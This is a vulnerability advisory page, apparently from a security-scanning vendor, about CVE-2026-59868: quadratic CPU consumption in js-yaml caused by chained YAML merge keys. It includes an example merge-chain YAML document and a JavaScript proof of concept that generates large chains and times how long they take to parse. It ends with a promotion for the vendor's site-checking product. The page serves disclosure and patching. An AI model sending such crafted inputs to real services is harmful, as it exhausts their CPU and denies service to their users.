🛡️ CVE-2026-59868 — js-yaml

🟡 CVSS 5.3 — Medium ⚠️ Exploit Public CWE-400 OSV
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

```yaml

a0: &a0 { k0: 0 }

a1: &a1 { <<: *a0, k1: 1 }

a2: &a2 { <<: *a1, k2: 2 }

a3: &a3 { <<: *a2, k3: 3 }

...

b: *aN

```

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

```js

import { performance } from 'node:perf_hooks'

import { Buffer } from 'node:buffer'

import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {

const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) {

lines.push(a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} })

}

lines.push(b: *a${count - 1})

return ${lines.join('\n')}\n

}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))

console.log('...')

console.log(source.split('\n').slice(-4).join('\n'))

console.log()

console.log(N: ${n})

console.log(YAML size: ${Buffer.byteLength(source)} bytes)

const started = performance.now()

const result = load(source, { schema: YAML11_SCHEMA })

const elapsed = performance.now() - started

console.log(parse time: ${elapsed.toFixed(1)} ms)

console.log(top-level keys: ${Object.keys(result).length})

console.log(b keys: ${Object.keys(result.b).length})

```

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

Weakness class

CVE-2026-59868 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-59868 is recorded against 1 package.

  • js-yaml

Timeline and source

Published on 20 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity MEDIUM
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE CWE-400
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-20
Updated 2026-08-12
Modified 2026-07-20

Affected Packages

Software From version Fixed in
js-yaml

Exploit Protection

Are you running js-yaml?

CVE-2026-59868 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-59868 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.